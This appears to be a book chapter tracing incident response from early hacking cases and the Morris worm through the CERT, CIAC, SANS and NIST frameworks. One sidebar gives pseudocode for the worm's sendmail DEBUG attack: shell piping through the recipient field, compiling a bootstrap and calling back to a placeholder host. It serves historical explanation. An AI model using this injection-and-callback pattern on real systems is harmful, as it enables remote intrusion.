1. A Short History of Incident Response
When looking at new approaches to incident response, it’s useful to understand the historical context of existing models. This chapter traces the early cybersecurity incidents that revealed the need for coordinated response, then walks through the formal models and guides that emerged from those events. Understanding where these frameworks came from, and the constraints they were designed to address, helps explain both their durability and their limitations as the threat landscape has changed.
Early Cybersecurity Incidents
In the early days of computing and networking, cybersecurity incidents were relatively rare and often involved individual hackers or small groups exploiting system vulnerabilities. While there were scattered incidents in the 1960s and 1970s, the significant impact of cybersecurity incidents began to receive widespread recognition in the 1980s. Several notable early incidents are summarized in Table 1.
June 1982 |
The 414s |
A group of Milwaukee high school students started their hacking spree that would eventually compromise over 60 computer systems including Los Alamos National Laboratory. The group’s actions received widespread media attention in the U.S. |
November 1984 |
Chaos Computer Club BTX Hack Demonstration |
German hackers from the Chaos Computer Club (CCC) demonstrated critical vulnerabilities in the BTX banking system by transferring 134,000 Deutsche Marks to prove the security flaws. |
September 1986 |
Cuckoo’s Egg/KGB Espionage |
German hackers began selling U.S. military and government computer data to the KGB, marking one of the first known cyber-espionage operations. The incident was later popularized by Clifford Stoll’s book The Cuckoo’s Egg. |
November 1987 |
Max Headroom Signal Intrusion |
Unknown hijackers took over WGN-TV and WTTW broadcasts in Chicago, with the perpetrators never caught in one of TV’s most famous unsolved intrusions. |
November 1988 |
Morris Worm |
Cornell graduate student Robert Morris released the first major internet worm, infecting 6,000 computers (estimated to be 10% of the internet at the time). |
March 1992 |
Michelangelo Virus |
One of the first widely publicized viruses, it was designed to activate every March 6 (Michelangelo’s birthday), overwriting hard drives. The Michelangelo virus led to a wave of media coverage and public concern for computer security. |
December 1994 |
Mitnick/Shimomura Incident |
Kevin Mitnick hacked Sun Microsystems cybersecurity expert Tsutomu Shimomura’s computer on Christmas Day, leading to a pursuit that ended with Mitnick’s arrest in February 1995. |
March 1998 |
Moonlight Maze |
Long-running cyber-espionage campaign targeting U.S. military and government networks discovered, suspected to originate from Russia and lasting until at least 2000. |
March 1999 |
Melissa Virus |
David L. Smith released the fast-spreading email virus that infected millions of computers and caused $80 million in damages. |
Of these incidents, the Morris Worm is often cited as a catalyst for the development of formal incident response processes. Cornell graduate student Robert Tappan Morris released the Morris worm from the MIT campus on November 2, 1988. What began as an experiment became the first major internet crisis, infecting approximately 6,000 computers (about 10% of the entire internet at the time). The worm exploited vulnerabilities in UNIX systems, specifically targeting a remote code execution vulnerability in the Sendmail process, a buffer overflow vulnerability in the Finger service, and weak passwords over the Remote Shell (RSH) service. Morris claimed he never intended the widespread damage that occurred. A programming error caused the worm to replicate far more aggressively than intended, reinfecting the same machines repeatedly until they became unusable.
DEBUG ExploitFUNCTION exploit_sendmail_debug(target):
socket = connect(target, port=25)
// Enable the DEBUG backdoor
send(socket, "debug")
// Recipient field becomes a shell pipeline
send(socket, "mail from:</dev/null>")
send(socket, 'rcpt to: <"| /bin/sh">')
// Message body is a shell script; sed strips the mail headers
send(socket, "data")
send(socket, "cd /usr/tmp")
send(socket, "cat > hook.c <<'EOF'")
send(socket, <worm bootstrap C source>)
send(socket, "EOF")
send(socket, "cc -o hook hook.c")
send(socket, "./hook <LHOST> <LPORT> <key>")
send(socket, "rm -f hook hook.c")
send(socket, ".")
send(socket, "quit")| The estimated cleanup costs following the Morris worm were estimated to be $200 to $53,000 per infected machine ($558 to $148,000 in 2026 dollars), as documented in the subsequent appeals court ruling, United States v. Morris, 928 F.2d 504 (2d Cir. 1991). Robert Morris was convicted under the Computer Fraud and Abuse Act (CFAA) in 1990, receiving a sentence of three years probation, 400 hours of community service, and a fine of $10,050. |
A timeline of these notable incidents is shown in Figure 2.
Development of Incident Response Models
Perhaps more interesting than the Morris worm itself is the aftermath of the incident. While cybersecurity incidents were known before this point, the Morris worm was the first to gain widespread media attention and public awareness. The incident highlighted the vulnerabilities of interconnected systems and the potential for widespread disruption, prompting the formation of organizations focused on responding to cybersecurity incidents.
CERT and CIAC
The Defense Advanced Research Projects Agency (DARPA) formed the first Computer Emergency Response Team (CERT) at Carnegie Mellon University (CMU) on November 17, 1988, just two weeks after the Morris worm. DARPA, which had funded the ARPANET that evolved into the internet, recognized that the Morris worm exposed a critical gap in internet infrastructure: there was no coordinated mechanism for responding to network-wide security emergencies. During the Morris worm crisis, system administrators lacked any centralized resource to coordinate response efforts or distribute patches, exacerbating the disruption. For the first time, DARPA allocated funding to create CERT at CMU’s Software Engineering Institute (SEI), choosing CMU both for its technical expertise and because it had been one of the institutions hit hard by the worm.
CERT’s mission was visionary for its time: to serve as a central point of contact for internet security emergencies, coordinate responses to attacks, and disseminate vulnerability information to prevent future incidents. The CERT team developed the first vulnerability disclosure processes, created security advisory systems, and established secure communication channels for discussing sensitive security issues.
While CERT became the public face of coordinated incident response, the US Department of Energy (DOE) established its own Computer Incident Advisory Capability (CIAC) in 1989, following CERT’s pioneering model but adapting it for more specialized needs. CIAC was formed at Lawrence Livermore National Laboratory (LLNL) specifically to protect DOE’s critical computing infrastructure, which included nuclear weapons research facilities, national laboratories, and energy grid systems. Unlike CERT’s mandate to serve the entire internet community, CIAC focused on the unique security challenges of protecting United States classified research and critical infrastructure.
Founded by Dr. E. Eugene Schultz Jr., CIAC would fundamentally shape how organizations respond to security incidents. On July 23, 1990, Schultz and his colleagues at LLNL published Responding to Computer Security Incidents: Guidelines for Incident Handling, establishing the first formal methodology for incident response. [1] Using a systematic approach, the landmark paper drew on CIAC’s real-world experiences handling incidents at DOE facilities to create a structured framework for responding to cybersecurity crises. The paper outlined priorities for incident handling: protecting human life and safety; protecting classified and sensitive data; protecting other data; preventing damage to systems; and minimizing disruption to computing resources. It also defined six important stages of incident response.
There are at least six identifiable stages of response to a computer security incident. Knowing about each stage can help you respond more methodically (and thus more efficiently) and develop a more complete contingency response plan for your organization. (Schultz et al., p. 7)
Schultz’s framework provided structure to the developing cybersecurity incident response specialty that had otherwise been operating on instinct and improvisation. By documenting CIAC’s real-world experiences and distilling them into reproducible processes, this work transformed incident response from an art practiced by a few experts into a discipline that organizations worldwide could implement. The guidelines developed at CIAC served as the foundation for virtually every incident response plan that followed, establishing principles that remain central to cybersecurity operations more than three decades later.
Later Developments: US Navy, SANS, and NIST
In 1996, the US Navy Staff Office published Computer Incident Response Guidebook P-5239-19. Building on Schultz’s earlier work, the Navy guidebook expanded the framework with detailed procedures and best practices for military contexts. Although intended for the Department of the Navy, P-5239-19 became influential across government agencies and private-sector companies, and served as the direct basis for the SANS Institute’s Computer Security Incident Handling Step-by-Step Guide.
The SANS Institute (SANS), founded in 1989, is a cooperative research and education organization focused on information security training and certification. In the late 1990s, when SANS founder Alan Paller turned the organization’s attention to incident response, cybersecurity was not yet a profession with full-time roles at most organizations. Intrusions, malware outbreaks, and abuse cases were handled by system administrators, network engineers, and IT generalists who picked up security work alongside their primary duties. Schultz’s 1990 framework and the Navy’s 1996 guidebook had established the conceptual foundations of incident handling, but neither had been distilled into a format a generalist could open and apply during an actual incident.
Stephen Northcutt, then at the Naval Surface Warfare Center and serving as Director of the SANS Incident Handling Research Program, led the development of a guide to close that gap. First published as version 1.5 in May 1998, Computer Security Incident Handling: Step-by-Step drew on the experience of incident handlers from more than fifty organizations across commercial, government, and educational sectors, including the Australian Computer Emergency Response Team (AusCERT) and CIAC. The guide organized incident response into six steps (preparation, identification, containment, eradication, recovery, and follow-up), with each step broken into numbered steps and each step into discrete actions. Each step opened with a Problem statement naming the failure mode it was designed to prevent, followed by specific actions a responder could take to address it. An Emergency Action Card provided a one-page reference of ten actions for practitioners caught unprepared, and later sections covered specific incident types (malicious code, denial of service, espionage, hoaxes, and unauthorized access) along with reusable forms for incident record-keeping. Figure 3 shows an early draft of the guide’s title page, held by Randy Marchany, one of the original contributors to the project. A sample interior page from the 1998 edition is shown in Figure 4.
The SANS guide’s contribution was less in the innovation of the underlying model than in how it was packaged: expert-vetted content delivered in a format a generalist could read and apply under pressure. That format, a checklist of numbered actions framed by the problem each one was meant to prevent, set the template for practical incident response documentation in the years that followed. The Step-by-Step sections that close each chapter of this book are a direct continuation of that lineage.
In January 2004, the National Institute of Standards and Technology (NIST) published Special Publication 800-61, Computer Security Incident Handling Guide, building on the foundations laid by CIAC, the US Navy, and SANS. Unlike the earlier six-step models, NIST SP 800-61 introduced a four-step incident response lifecycle: Preparation; Detection and Analysis; Containment, Eradication, and Recovery; and Post-Incident Activity. This four-step model continued to be recommended in the March 2008 update (NIST SP 800-61 Revision 1) and the August 2012 update (NIST SP 800-61 Revision 2). In April 2025, NIST departed from the four-step model to align with the broader NIST Cybersecurity Framework (CSF), adopting a new six-step, high-level model: Govern, Identify, Protect, Detect, Respond, and Recover.
A timeline of the development of these incident response models, along with the chosen historical incidents, is shown in Figure 5.
The development of incident response models has been shaped by the evolving landscape of cybersecurity threats and the growing recognition of the need for structured incident response. From the early days of CERT and CIAC to the widely adopted frameworks from SANS and NIST, these models have provided organizations with the tools and methodologies needed to respond to and recover from cybersecurity incidents. As threats continue to evolve, so too should the models and practices for incident response, ensuring that organizations remain resilient in the face of an ever-changing threat landscape.
From These Foundations
The arc from CIAC’s 1990 guidelines through NIST SP 800-61 Revision 3 reflects three decades of refinement, with each generation of incident response models building on the last while incorporating lessons from new categories of incidents. These frameworks remain in active use today. Organizations continue to structure their incident response programs around the six-step model that originated with Schultz and was made practical in the SANS guide, or the four-step NIST model.
That durability is a strength, but it is also where the limitations begin to show. The earliest formal models were developed when most incidents were one-system viruses or worms, when organizations were still figuring out who should respond, and when full-time security roles were rare. Modern incidents involve cloud-distributed identity, third-party SaaS dependencies, supply chain compromises, AI-orchestrated attack tooling, and adversaries who adapt their tactics during the response itself. The chapters that follow build a shared vocabulary for talking about these incidents, examine where the established models fall short, and introduce a model designed for response under those modern conditions.